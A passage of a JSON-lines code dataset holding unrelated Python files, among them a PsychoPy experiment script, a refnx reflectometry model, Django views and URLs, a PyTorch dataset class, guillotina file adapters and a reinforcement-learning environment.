# No response was made\n key_resp_1.keys=None\n # was no response the correct answer?!\n if str(correct).lower() == 'none': key_resp_1.corr = 1 # correct non-response\n else: key_resp_1.corr = 0 # failed to respond (incorrectly)\n # store data for trials (TrialHandler)\n trials.addData('key_resp_1.keys',key_resp_1.keys)\n trials.addData('key_resp_1.corr', key_resp_1.corr)\n if key_resp_1.keys != None: # we had a response\n trials.addData('key_resp_1.rt', key_resp_1.rt)\n # the Routine \"trial\" was not non-slip safe, so reset the non-slip timer\n routineTimer.reset()\n thisExp.nextEntry()\n \n# completed 1 repeats of 'trials'\n\n\n#------Prepare to start Routine \"End\"-------\nt = 0\nEndClock.reset() # clock \nframeN = -1\n# update component parameters for each repeat\nkey_resp_5 = event.BuilderKeyResponse() # create an object of type KeyResponse\nkey_resp_5.status = NOT_STARTED\n# keep track of which components have finished\nEndComponents = []\nEndComponents.append(text_2)\nEndComponents.append(key_resp_5)\nfor thisComponent in EndComponents:\n if hasattr(thisComponent, 'status'):\n thisComponent.status = NOT_STARTED\n\n#-------Start Routine \"End\"-------\ncontinueRoutine = True\nwhile continueRoutine:\n # get current time\n t = EndClock.getTime()\n frameN = frameN + 1 # number of completed frames (so 0 is the first frame)\n # update/draw components on each frame\n \n # *text_2* updates\n if t >= 0.0 and text_2.status == NOT_STARTED:\n # keep track of start time/frame for later\n text_2.tStart = t # underestimates by a little under one frame\n text_2.frameNStart = frameN # exact frame index\n text_2.setAutoDraw(True)\n \n # *key_resp_5* updates\n if t >= 0.0 and key_resp_5.status == NOT_STARTED:\n # keep track of start time/frame for later\n key_resp_5.tStart = t # underestimates by a little under one frame\n key_resp_5.frameNStart = frameN # exact frame index\n key_resp_5.status = STARTED\n # keyboard checking is just starting\n win.callOnFlip(key_resp_5.clock.reset) # t=0 on next screen flip\n event.clearEvents(eventType='keyboard')\n if key_resp_5.status == STARTED:\n theseKeys = event.getKeys(keyList=['y', 'n', 'left', 'right', 'space'])\n \n # check for quit:\n if \"escape\" in theseKeys:\n endExpNow = True\n if len(theseKeys) > 0: # at least one key was pressed\n key_resp_5.keys = theseKeys[-1] # just the last key pressed\n key_resp_5.rt = key_resp_5.clock.getTime()\n # a response ends the routine\n continueRoutine = False\n \n # check if all components have finished\n if not continueRoutine: # a component has requested a forced-end of Routine\n break\n continueRoutine = False # will revert to True if at least one component still running\n for thisComponent in EndComponents:\n if hasattr(thisComponent, \"status\") and thisComponent.status != FINISHED:\n continueRoutine = True\n break # at least one component has not yet finished\n \n # check for quit (the Esc key)\n if endExpNow or event.getKeys(keyList=[\"escape\"]):\n core.quit()\n \n # refresh the screen\n if continueRoutine: # don't flip if this routine is over or we'll get a blank screen\n win.flip()\n\n#-------Ending Routine \"End\"-------\nfor thisComponent in EndComponents:\n if hasattr(thisComponent, \"setAutoDraw\"):\n thisComponent.setAutoDraw(False)\n# check responses\nif key_resp_5.keys in ['', [], None]: # No response was made\n key_resp_5.keys=None\n# store data for thisExp (ExperimentHandler)\nthisExp.addData('key_resp_5.keys',key_resp_5.keys)\nif key_resp_5.keys != None: # we had a response\n thisExp.addData('key_resp_5.rt', key_resp_5.rt)\nthisExp.nextEntry()\n# the Routine \"End\" was not non-slip safe, so reset the non-slip timer\nroutineTimer.reset()\n\n# these shouldn't be strictly necessary (should auto-save)\nthisExp.saveAsWideText(filename+'.csv')\nthisExp.saveAsPickle(filename)\nlogging.flush()\n# make sure everything is closed down\nthisExp.abort() # or data files will save again on exit\nwin.close()\ncore.quit()\n","sub_path":"PracticeTask/PlanetPractice_StripedGo_lastrun.py","file_name":"PlanetPractice_StripedGo_lastrun.py","file_ext":"py","file_size_in_byte":38386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"600193572","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n \nfrom scipy import special\nfrom refnx.dataset import ReflectDataset\nfrom refnx.analysis import CurveFitter, Objective, Transform, parameter, possibly_create_parameter, Parameters\nfrom refnx.reflect import ReflectModel, SLD, Erf, Component\nfrom refnx.reflect import structure\n\n# | . o . |\n# air-pro, phi-pho, center, mirror (i-o), pro-wat \n# a-w\n# (x/a)^2 + (y/b)^2 = 1 <-ellipse\n# air-pro to cetre = a, b is from area taken up\n\nclass param():\n def __init__(real=0, image=0, name='unknown', thickness=0):\n self.real = real\n pass\n \n\nclass eggs(Component):#\n def __init__(self, air, hydropho, hydrophil, water, tilt):\n super(eggs)\n names = ['air', 'hydropho', 'hydrophil', 'water']\n more = ['tilt']\n pass\n\nclass bsla_thesis(Component): #as in thesis\n def __init__(self, i_as=11.1, sig_as=0.1, i_ap=24.1, th_p= 25.1, i_ps=24.1, n_w=500.1, d_sld=2.01, a=13, b=16.5, c=27.5):\n #interface air solvent, interface width air solvent, interface air protien, interface protien solvent, number of water molecules, sld of deuterated protein \n super(bsla_thesis).__init__()\n name='bsla'\n self.name = name\n self.interface_air_protein = possibly_create_parameter(0.0,\n name='%s - interface_air_protein' % name)\n self.interface_protein_solvent = possibly_create_parameter(11.1,\n name='%s - interface_protein_solvent' % name)\n self.protein_length = possibly_create_parameter(25.1,\n name='%s - protein_length' % name)\n self.number_of_water_molecules = possibly_create_parameter(500.1,\n name='%s - number_of_water_molecules' % name)\n self.interface_width_air_solvent = possibly_create_parameter(15,\n name='%s - interface_width_air_solvent' % name)\n #self.interface_width_protein_solvent = possibly_create_parameter(0.1,\n # name='%s - interface_width_protein_solvent' % name)\n self.sld_of_protein = possibly_create_parameter(3.23, #*(10**(-6))\n name='%s - sld_of_protein' % name)\n self.d2o_to_h2o_ratio = possibly_create_parameter(1.0,\n name='%s - d2o_h2o_ratio' % name)\n# self.semi_axis_a = possibly_create_parameter(a,\n# name='%s - semi_axis_a' % name)\n# self.semi_axis_b = possibly_create_parameter(b,\n# name='%s - semi_axis_b' % name)\n# self.semi_axis_c = possibly_create_parameter(c,\n# name='%s - semi_axis_c' % name)\n self.a = 13\n self.b = 16.5\n self.c = 27.5\n self.volume_of_water_molecule = 30\n self.major_axis_length = 55\n self.d = (self.c - self.a)/self.volume_of_water_molecule\n #print([self.interface_air_protein,\n # self.interface_protein_solvent,\n # self.protein_length,\n # self.number_of_water_molecules,\n # self.interface_width_air_solvent,\n # #self.interface_width_protein_solvent,\n # self.sld_of_protein,\n # self.d2o_to_h2o_ratio])\n \n# b_o=0.5843*10**-4\n# b_d=0.6671*10**-4\n# b_h=-0.3739*10**-4\n# b_d2o = b_o + 2*b_d\n# b_d2o = 1.9185*10**-4\n# b_h2o = -0.1635*10**-4\n \n# self.sld_d2o = b_d2o/self.volume_of_water_molecule\n\n def __call__(self, z, structure=None):\n self.calculations()\n area_prot = self.area_protein(z)\n area_wat = self.area_water(z)\n #print(area_wat)\n #print('cough')\n #print(area_prot)\n area_total = area_wat+area_prot\n sld_prot = self.sld_protein(area_prot,area_total)\n sld_wat = self.sld_water(area_wat, area_total)\n #print(\"last\",len(sld_prot),len(sld_wat))\n return sld_prot+sld_wat\n\n @property\n def parameters(self):\n p = Parameters(name=self.name)\n p.extend([self.interface_air_protein,\n self.interface_protein_solvent,\n self.protein_length,\n self.number_of_water_molecules,\n self.interface_width_air_solvent,\n #self.interface_width_protein_solvent,\n self.sld_of_protein,\n self.d2o_to_h2o_ratio])\n return p\n\n def logp(self):\n #full = np.arange(150)\n #a_p = np.array(list(map(self.area_protein, full)))\n #a_w = np.array(list(map(self.area_water, full)))\n #max_w = max(a_w)\n #max_p = max(a_p)\n #max_a = max_w if max_w > max_p else max_p\n return 0\n\n def calculations(self):\n# a = 13\n# b = 16.5\n# c = 27.5\n# volume_of_water_molecule = 30\n self.e = self.major_axis_length - self.protein_length.value\n self.delta_a = self.a + (self.d*self.e)\n self.delta_c = self.c - (self.d*self.e)\n\n def area_protein(self, z):\n identity = np.ones(len(z))\n first_bit = np.pi*self.delta_a*self.b/(self.delta_c**2)\n second_bit = z - identity*self.interface_air_protein.value\n final_bit = identity*2*self.delta_c - second_bit\n# print('f',np.pi, self.delta_a,self.b, self.delta_c, first_bit)\n# print(second_bit)\n# print(final_bit)\n #print(\"pro lengths\",len(second_bit), len(final_bit))\n return first_bit*np.multiply(second_bit,final_bit)\n\n def sld_protein(self, area_p, area_total):\n ratio_area = area_p/area_total\n #print(\"pro sl lengths\",len(area_p),len(ratio_area))\n return ratio_area * self.sld_of_protein.value\n\n def area_water(self, zs):\n water_length = (self.interface_air_protein.value\n + self.protein_length.value\n - self.interface_protein_solvent.value)\n z_s = self.interface_protein_solvent.value+0.5*water_length # calc\n first_bit = (self.number_of_water_molecules.value\n *self.volume_of_water_molecule/(2*water_length))\n #print(self.interface_width_air_solvent.value, type(self.interface_width_air_solvent.value))\n #print(z,'\\n')\n #print(z, z_s ,0.5,self.d, self.interface_width_air_solvent.value,\n # special.erf((z - z_s + 0.5*self.d)\n # /self.interface_width_air_solvent.value))\n second_bits= np.copy(zs)\n #print(z_s, water_length, self.interface_width_air_solvent.value)\n for i in range(len(zs)):\n second_bits[i] = ( special.erf( (zs[i] - z_s + 0.5*water_length)\n / (self.interface_width_air_solvent.value*np.sqrt(2)) )\n - special.erf( (zs[i] - z_s - 0.5*water_length)\n / (self.interface_width_air_solvent.value*np.sqrt(2)) ) )\n #print(\"wat lengths\",len(second_bits))\n return first_bit*second_bits\n# print('helo',\n# second_bits[i], \n# zs[i],\n# zs[i] - z_s + 0.5*water_length, \n# zs[i] - z_s - 0.5*water_length,\n# special.erf((zs[i] - z_s + 0.5*water_length)\n# /self.interface_width_air_solvent.value),\n# special.erf((zs[i] - z_s - 0.5*self.d)\n# /self.interface_width_air_solvent.value))\n\n def sld_water(self, area_w, area_total):\n b_d2o = 1.9185#*10**-4\n b_h2o = -0.1635#*10**-4\n sld_d2o = 100*b_d2o/self.volume_of_water_molecule\n sld_h2o = 100*b_h2o/self.volume_of_water_molecule\n sld_solvent = (self.d2o_to_h2o_ratio.value*sld_d2o +\n (1-self.d2o_to_h2o_ratio.value)*sld_h2o)\n ratio_area = area_w/area_total\n return ratio_area * sld_solvent\n \n def slabs(self,structure=None):\n #in style of https://refnx.readthedocs.io/en/latest/_modules/refnx/reflect/spline.html#Spline\n length = (self.interface_air_protein.value\n + self.protein_length.value)\n no_slabs = length/1.\n thickness_slabs = length/no_slabs\n slabs = np.zeros((int(no_slabs), 5))\n slabs[:,0] = thickness_slabs\n slabs[-1,3] = 0.5\n distance = np.cumsum(slabs[..., 0]) - 0.5 * thickness_slabs\n slabs[:,1] = self(distance,structure)\n #print(\"slabs\",slabs)\n #slabs = structure.__profile_slicer(distance,slabs)\n return slabs\n\n#\n#air = SLD(value=0+0j, name='air')\n#----------\n#or \n#re =Parameter(0)\n#im=Parameter(0)\n#air = SLD([re,im])\n#---------\n#polymer = SLD(1,'polymer')\n#silicon = SLD(2,'silicon')\n#structure = air(thick=0,rough=0) | polymer(200,4) | silicon(0,3)\n# air-polymer roughness of 4, polymer size of 200\n# #Erf() <-error function\n# structure[1].interfaces = Erf() # air-polymer interface\n# structure[2].interfaces = Erf()\n#need lnprob\n#sort vol fractions \n#add areas etc.\n#possibly using possibly` creat parameter and parameter p.extend(\n#tilt and other values not used either\n\n\nclass bsla_non(Component): #not as in thesis\n def __init__(self, area_per_molecule=1, angle=1, length_of_molecule=1):\n #area per molecule, \n super(bsla).__init__()\n name='bsla'\n pass\n\n \n #for calculating unphysical thing\n def volume_fraction_protien(self, z):\n pass\n \n def volume_fraction_air(self, z):\n pass\n \n def volume_fraction_water(self, z):\n pass\n \n \nclass bsla_equation(Component): # equation based\n def __init__(self, extent, vs, dz,name='bsla', microslab_max_thickness=1):\n pass\n \n def __call__(self, z):\n pass\n \ndef test_run():\n print(\"\\n\\n\\n\")\n from refnx.dataset import Data1D\n from refnx.dataset import ReflectDataset\n import refnx\n import data_in\n data = data_in.data_in('d2o/29553_54.dat')\n # dataset = data # ...\n data = Data1D(data) \n from make_egg import bsla_thesis\n# air = SLD(0)\n# air = air(0,0)\n bt = bsla_thesis()\n bt.interface_protein_solvent.setp(vary=True, bounds=(11, 40))\n bt.protein_length.setp(vary=True, bounds=(25, 55))\n bt.number_of_water_molecules.setp(vary=True, bounds=(1, 10000))\n bt.interface_width_air_solvent.setp(vary=True, bounds=(0.001, 30))\n #bt.interface_width_protein_solvent.setp(vary=True, bounds=(0, 5))\n bt.sld_of_protein.setp(vary=True, bounds=(1.92, 6.21)) # *(10**(-6))\n bt.d2o_to_h2o_ratio.setp(vary=True, bounds=(0, 1))\n# if isinstance(bt, Component):\n# print(\"it is comp\")\n# if isinstance(bt, Structure):\n# print(\"it is\")\n #print(bt.parameters)\n# d2o = 1.9185/0.3\n# h2o = -0.1635/0.3\n# solvent = SLD((bt.d2o_to_h2o_ratio.value*d2o + (1-bt.d2o_to_h2o_ratio.value)*h2o))\n# solvent = solvent(0,0)\n# from refnx.reflect import Structure\n# structure = air|bt|solvent\n# structure.name = \"bsla\"\n from refnx.reflect import ReflectModel\n model = ReflectModel(bt)#structure)\n from refnx.analysis import Transform, CurveFitter, Objective\n objective = Objective(model,data)\n fitter = CurveFitter(objective)\n fitter.fit('differential_evolution');\n import matplotlib.pyplot as plt\n #%matplotlib notebook\n# plt.plot(*bt.sld_profile())\n objective.plot()\n plt.yscale('log')\n plt.xscale('log')\n plt.xlabel('Q')\n plt.ylabel('Reflectivity')\n plt.legend()\n print(bt)\n plt.show()\n \nif __name__ == '__main__':\n test_run()","sub_path":"make_egg.py","file_name":"make_egg.py","file_ext":"py","file_size_in_byte":11517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"312014618","text":"from django.shortcuts import render\nfrom .models import volunteer\nfrom django.http import HttpResponse\n# Create your views here.\ndef p2(request):\n return render(request,\"p2.html\")\n\n\ndef vl(request):\n if request.method == \"POST\":\n fn = request.POST[\"fname\"]\n ln = request.POST[\"lname\"]\n gender = request.POST[\"gender\"]\n avl = request.POST[\"availability\"]\n email = request.POST[\"email\"]\n ph = request.POST[\"phone\"]\n role = request.POST[\"role\"]\n adr = request.POST[\"address\"]\n msg = request.POST[\"message\"]\n volunteer_data=volunteer(fname=fn,lname=ln,gender=gender,availability=avl,email=email,phone=ph,role=role,address=adr,message=msg)\n volunteer_data.save()\n return HttpResponse(\"

data succesgully saved

\")\n return render(request,\"volregistration.html\")\n\ndef ragava(request):\n return render(request,\"p3.html\")","sub_path":"volunteer/volunteer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"478969043","text":"#!/usr/bin/python3\n\"\"\"14. Pascal's Triangle\"\"\"\n\n\ndef pascal_triangle(n):\n \"\"\"returns a list of lists of integers\n representing the Pascal’s triangle of n\n\n Args:\n n (int): size of the Pascal’s triangle\n\n Returns:\n list of lists: of integers\n \"\"\"\n\n if n <= 0:\n return list([])\n\n li = [[1]]\n\n for y in range(1, n):\n li.append([])\n for x in range(0, y + 1):\n n1 = 0\n n2 = 0\n if len(li[y - 1]) > x:\n n1 = li[y - 1][x]\n if x - 1 >= 0:\n n2 = li[y - 1][x - 1]\n li[y].append(n1 + n2)\n\n return li\n","sub_path":"0x0B-python-input_output/14-pascal_triangle.py","file_name":"14-pascal_triangle.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"416321948","text":"import os\nimport pandas as pd\nimport torch\n\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom typing import Any, Dict, Optional\n\n\nclass FlowersDataset(Dataset):\n \"\"\"Flowers Recognition Dataset\n 今回のデータセットは,torchvision.datasets.ImageFolder でも実装可能だが,\n csv を作る練習をかねて,データセットクラスを自作している.\n \"\"\"\n\n def __init__(\n self, csv_file: str, transform: Optional[transforms.Compose] = None\n ) -> None:\n super().__init__()\n assert os.path.exists(csv_file)\n\n csv_path = os.path.join(csv_file)\n\n self.df = pd.read_csv(csv_path)\n self.transform = transform\n\n def __len__(self) -> int:\n return len(self.df)\n\n def __getitem__(self, idx: int) -> Dict[str, Any]:\n img_path = self.df.iloc[idx][\"image_path\"]\n img = Image.open(img_path)\n\n if self.transform is not None:\n img = self.transform(img)\n\n cls_id = self.df.iloc[idx][\"class_id\"]\n cls_id = torch.tensor(cls_id).long()\n\n label = self.df.iloc[idx][\"label\"]\n\n sample = {\"img\": img, \"class_id\": cls_id, \"label\": label, \"img_path\": img_path}\n\n return sample\n","sub_path":"libs/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"102907058","text":"from django.contrib import admin\r\nfrom django.conf.urls import url,include\r\nfrom django.urls import path\r\nfrom blog_admin.views import login,blog,uploads\r\nfrom blog_admin.views import user\r\n\r\nurlpatterns = [\r\n url(r'^$',login.login,name='login' ),\r\n url(r'^dologin$',login.dologin,name='dologin' ),\r\n url(r'^loginout$',login.loginout,name='loginout' ),\r\n\r\n url(r'^blog_index$',blog.blog_index,name='blog_index' ),\r\n url(r'^add_blog$',blog.add_blog,name='add_blog'),\r\n url(r'^insert_blog$',blog.insert_blog,name='insert_blog'),\r\n url(r'^update_blog/(?P[0-9]+)$',blog.update_blog,name='update_blog'),\r\n url(r'^edit_blog/(?P[0-9]+)$',blog.edit_blog,name='edit_blog'),\r\n url(r'^delete_blog/(?P[0-9]+)$',blog.delete_blog,name='delete_blog'),\r\n\r\n url(r'^upload/(?P[^/]+)$', uploads.upload_image, name='upload_image'),\r\n\r\n url(r'^userlist$',user.userlist,name='userlist' ),\r\n url(r'^adduser$',user.adduser,name='adduser' ),\r\n url(r'^insertuser$',user.insertuser,name='insertuser' ),\r\n url(r'^updateuser/(?P[0-9]+)$',user.updateuser,name='updateuser' ),\r\n url(r'^edituser/(?P[0-9]+)$',user.edituser,name='edituser' ),\r\n url(r'^deleteuser/(?P[0-9]+)$',user.deleteuser,name='deleteuser' ),\r\n\r\n\r\n]\r\n","sub_path":"blog_admin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"329836286","text":"''' Construct programm using random function '''\r\n\r\n\r\n\r\nimport random\r\n\r\nfirst_names = ['POOJA', 'KAJAL', 'PRADIP', 'AKSHAY', 'CHETAN', 'KUNJAN', 'SHUBHAM', 'SOJWAL', 'GAJANAN', 'RIZWAN', 'SUDESH', 'GAURI', 'NAMRATA', 'KIRTI', 'ARCHANA', 'MINAXI', 'PRAVIN', 'PRADIP', 'POOJA', 'ABHIJIT', 'PRIYANKA']\r\n\r\nlast_names = ['MORE', 'BHINGARE', 'KHAN', 'CHOPADE', 'BHARAMBE', 'RANE', 'CHAUDHARI', 'SARODE', 'PATIL', 'BHOLE', 'MARATHE', 'SHAIKH', 'GHOGARE', 'KOLHE', 'NHAVI', 'ZOPE', 'TANWAR', 'INGALE', 'GHULE', 'BARI', 'BHOI', 'PETHE', 'DESHMUKH', 'WANI', 'MAHAJAN', 'JAIN', 'SONAR']\r\n\r\nstreet_names = ['Main', 'High', 'Pearl', 'Maple', 'Park', 'Oak', 'Pine', 'Cedar', 'Elm', 'Shengola', 'Lake', 'Hill']\r\n\r\nfake_cities = ['Jamner', 'Jalgaon', \"Bhusawal\", 'Pachora', 'Shengola', 'Mumbai', 'Nashik', 'Chennai', 'Ahemdabad', 'Kolkata', 'New Delhi', 'Jipur', 'Luknow', 'Prayagraj', 'Wadodra', 'Madurai', 'Ranchi', 'Faketown', 'Westworld', 'Thundera', 'Vice City', 'Gaziabad', 'Oldtown', 'Valyria', 'Winterfell', 'Braavos‎', 'Lakeview']\r\n\r\nstates = ['MH', 'MP', 'UP', 'AR', 'CA', 'CO', 'CT', 'DC', 'DE', 'FL', 'GA', 'HI', 'ID', 'IL', 'IN', 'IA', 'KS', 'KY', 'LA', 'ME', 'MD', 'MA', 'MI', 'MN', 'MS', 'MO', 'MT', 'NE', 'NV', 'NH', 'NJ', 'NM', 'NY', 'NC', 'ND', 'OH', 'OK', 'OR', 'PA', 'RI', 'SC', 'SD', 'TN', 'TX', 'UT', 'VT', 'VA', 'WA', 'WV', 'WI', 'WY']\r\n\r\nfor num in range(100):\r\n first = random.choice(first_names)\r\n last = random.choice(last_names)\r\n\r\n phone = f'+91-{random.randint(100, 999)}-555-{random.randint(1000,9999)}'\r\n\r\n street_num = random.randint(100, 999)\r\n street = random.choice(street_names)\r\n city = random.choice(fake_cities)\r\n state = random.choice(states)\r\n zip_code = random.randint(400000, 499999)\r\n address = f'{street_num} {street} St., {city} {state} {zip_code}'\r\n\r\n email = first.lower() + last.lower() + '@bogusemail.com'\r\n\r\n print(f'{first} {last}\\n{phone}\\n{address}\\n{email}\\n')","sub_path":"random_mod.py","file_name":"random_mod.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"157412","text":"# -*- encoding: utf-8 -*-\nfrom guillotina import app_settings\nfrom guillotina import configure\nfrom guillotina.component import getMultiAdapter\nfrom guillotina.interfaces import ICloudFileField\nfrom guillotina.interfaces import IFile\nfrom guillotina.interfaces import IFileManager\nfrom guillotina.interfaces import IRequest\nfrom guillotina.interfaces import IResource\nfrom guillotina.interfaces import IStorage\nfrom guillotina.interfaces import NotStorable\nfrom guillotina.schema import Object\nfrom guillotina.utils import import_class\nfrom zope.interface import alsoProvides\nfrom zope.interface import implementer\n\nimport io\nimport mimetypes\nimport os\n\n\ndef get_contenttype(\n file=None,\n filename=None,\n default='application/octet-stream'):\n \"\"\"Get the MIME content type of the given file and/or filename.\n \"\"\"\n\n file_type = getattr(file, 'content_type', None)\n if file_type:\n return file_type\n\n filename = getattr(file, 'filename', filename)\n if filename:\n extension = os.path.splitext(filename)[1].lower()\n return mimetypes.types_map.get(extension, 'application/octet-stream')\n\n return default\n\n\n@implementer(ICloudFileField)\nclass CloudFileField(Object):\n \"\"\"\n A cloud file hosted file.\n\n Its configured on config.json with :\n\n \"cloud_storage\": \"pserver.s3storage.interfaces.IS3FileField\"\n\n or\n\n \"cloud_storage\": \"pserver.gcloudstorage.interfaces.IGCloudFileField\"\n\n \"\"\"\n\n schema = IFile\n\n def __init__(self, **kw):\n super(CloudFileField, self).__init__(schema=self.schema, **kw)\n\n\n@configure.adapter(\n for_=(IResource, IRequest, ICloudFileField),\n provides=IFileManager)\nclass CloudFileManager(object):\n\n def __init__(self, context, request, field):\n iface = import_class(app_settings['cloud_storage'])\n alsoProvides(field, iface)\n self.real_file_manager = getMultiAdapter(\n (context, request, field), IFileManager)\n\n async def download(self, *args, **kwargs):\n return await self.real_file_manager.download(*args, **kwargs)\n\n async def tus_options(self, *args, **kwargs):\n return await self.real_file_manager.tus_options(*args, **kwargs)\n\n async def tus_head(self, *args, **kwargs):\n return await self.real_file_manager.tus_head(*args, **kwargs)\n\n async def tus_patch(self, *args, **kwargs):\n return await self.real_file_manager.tus_patch(*args, **kwargs)\n\n async def tus_create(self, *args, **kwargs):\n return await self.real_file_manager.tus_create(*args, **kwargs)\n\n async def upload(self, *args, **kwargs):\n return await self.real_file_manager.upload(*args, **kwargs)\n\n async def iter_data(self, *args, **kwargs):\n async for chunk in self.real_file_manager.iter_data(*args, **kwargs):\n yield chunk\n\n async def save_file(self, generator, *args, **kwargs):\n await self.real_file_manager.save_file(generator, *args, **kwargs)\n\n# This file was borrowed from z3c.blobfile and is licensed under the terms of\n# the ZPL.\n\n\nMAXCHUNKSIZE = 1 << 16\n\n\n@implementer(IStorage)\n@configure.utility(provides=IStorage, name=\"builtins.str\")\nclass StringStorable(object):\n\n def store(self, data, blob):\n if not isinstance(data, str):\n raise NotStorable('Could not store data (not of \"str\" type).')\n\n with blob.open('w') as fp:\n fp.write(bytes(data, encoding='utf-8'))\n\n\n@implementer(IStorage)\n@configure.utility(provides=IStorage, name=\"builtin.bytes\")\nclass BytesStorable(StringStorable):\n\n def store(self, data, blob):\n if not isinstance(data, str):\n raise NotStorable('Could not store data (not of \"unicode\" type).')\n\n StringStorable.store(self, data, blob)\n\n\n@implementer(IStorage)\n@configure.utility(provides=IStorage, name=\"builtin.file\")\nclass FileDescriptorStorable(object):\n\n def store(self, data, blob):\n if not isinstance(data, io.IOBase):\n raise NotStorable('Could not store data (not of \"file\").')\n\n filename = getattr(data, 'name', None)\n if filename is not None:\n blob.consumeFile(filename)\n return\n","sub_path":"guillotina/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":4156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"474764490","text":"# coding=utf-8\nfrom __future__ import absolute_import, unicode_literals, division\nfrom moarcofy import config\n\nfrom jinja2 import Markup\nfrom flask import g\n\n\ndef javascript(filename=None):\n \"\"\"Ensures that the page will load 'filename' as a javascript (do not use\n an extension). This takes care of media versioning, prevents duplicates and\n handles compilation if needed.\"\"\"\n if not hasattr(g, \"scripts\"):\n g.scripts = set()\n\n name = \"/static/{0}/js/{1}.js\".format(config[\"version\"][\"media\"], filename)\n if name in g.scripts:\n return \"\"\n g.scripts.add(name)\n return Markup(\"\".format(name))\n\n\ndef stylesheet(filename=None):\n \"\"\"Ensures that the page will load 'filename' as a stylesheet (do not use\n an extension). This takes care of media versioning, prevents duplicates and\n handles compilation if needed.\"\"\"\n if not hasattr(g, \"stylesheets\"):\n g.stylesheets = set()\n\n name = \"/static/{0}/css/{1}.css\".format(config[\"version\"][\"media\"],\n filename)\n if name in g.stylesheets:\n return \"\"\n g.stylesheets.add(name)\n return Markup(\"\".format(name))\n\n\ndef resource(filename):\n \"\"\"Returns the URL a static resource, including versioning.\"\"\"\n return \"/static/{0}/{1}\".format(config[\"version\"][\"media\"], filename)\n","sub_path":"moarcofy/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"565960424","text":"from Utilities.file_utils import dir_to_subdir_list, create_dir, delete_dir\nfrom CursorRL.Study import Study, Action\nfrom CursorRL.configuration import *\nfrom CursorRL.actions import *\nfrom random import shuffle\nimport os\n\n\nclass Environment(object):\n def __init__(self, studies_dir, stats_dir, list_of_dirs=False):\n self.WRITE_STATS_STEPS = 100\n if list_of_dirs:\n studies = []\n for dir in studies_dir:\n studies += dir_to_subdir_list(dir)\n self.studies = studies\n else:\n self.studies = dir_to_subdir_list(studies_dir)\n self.current_study_index = 0\n self.current_study = None\n self.rewards_counter = 0\n self.completed_paths_counter = 0\n\n delete_dir(stats_dir)\n create_dir(stats_dir)\n self.steps_counter = 0\n self.rewards = []\n self.path_len = []\n self.path_completed = []\n self.rewards_file = os.path.join(stats_dir, \"rewards.txt\")\n self.path_len_file = os.path.join(stats_dir, \"path_len.txt\")\n self.path_completed_file = os.path.join(stats_dir, \"path_completed.txt\")\n\n def reset(self):\n if self.steps_counter == self.WRITE_STATS_STEPS:\n self.steps_counter = 0\n Environment.write_list_to_file(self.rewards, self.rewards_file)\n Environment.write_list_to_file(self.path_len, self.path_len_file)\n Environment.write_list_to_file(self.path_completed, self.path_completed_file)\n self.rewards = []\n self.path_len = []\n self.path_completed = []\n\n if self.current_study is not None:\n self.rewards.append(self.rewards_counter)\n self.path_len.append(self.current_study.image_index - warm_frames_num)\n self.path_completed.append(self.completed_paths_counter)\n\n self.current_study = Study(self.studies[self.current_study_index])\n self.current_study_index += 1\n if self.current_study_index == len(self.studies):\n self.current_study_index = 0\n shuffle(self.studies)\n self.steps_counter += 1\n return self.current_study.get_warm_frames()\n\n def step(self, action_index, step_size=None):\n self.current_study.actions.append(action_index)\n if action_index == none_action:\n s, r, d = self.current_study.step(Action(None, None, None))\n elif action_index == click_action:\n s, r, d = self.current_study.step(Action(None, None, True))\n else:\n if step_size is None:\n step_size = self.current_study.get_GT_step_size()\n s, r, d = self.current_study.step(Action(directions[action_index - 2], step_size, None))\n self.current_study.rewards.append(r)\n self.rewards_counter += r\n if d:\n if self.current_study.finished_successfully:\n self.completed_paths_counter += 1\n\n return s, r, d\n\n def start(self):\n if self.current_study is not None:\n return self.current_study.get_image()\n\n def write_stats(self):\n Environment.write_list_to_file(self.rewards, self.rewards_file)\n Environment.write_list_to_file(self.path_len, self.path_len_file)\n Environment.write_list_to_file(self.path_completed, self.path_completed_file)\n\n @classmethod\n def write_list_to_file(cls, data_list, file_path):\n with open(file_path, \"a\") as file:\n for item in data_list:\n file.write(str(item) + \"\\n\")\n","sub_path":"TrackingByReinforcementLearning/CursorRL/Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"179578268","text":"'''\n===================================================================\nProject Name : Differential Evolution\nFile Name : main.py\nEncoding : UTF-8\nCreation Date : 2021/10/19\n===================================================================\n'''\n\nimport numpy as np\nimport configuration as cf\nimport function as fc\nimport optimizer as op\nimport logger as lg\n\ndef run(opt, cnf, fnc, log):\n\topt.initialize_solutions() # 初期化\n\tlog.logging(opt.pop, fnc.total_evals) # 初期個体群ログ\n\twhile fnc.total_evals < cnf.max_evals: # 評価回数上限まで実行\n\t\topt.get_next_population() # 次世代個体群生成\n\t\tlog.logging(opt.pop, fnc.total_evals) # 次世代個体群ログ\n\tlog.outLog(opt.pop, fnc.total_evals) # ログ出力(trial'n'.csv)\n\ndef main():\n\tcnf = cf.Configuration() # configurationインスタンス生成\n\tfor i in 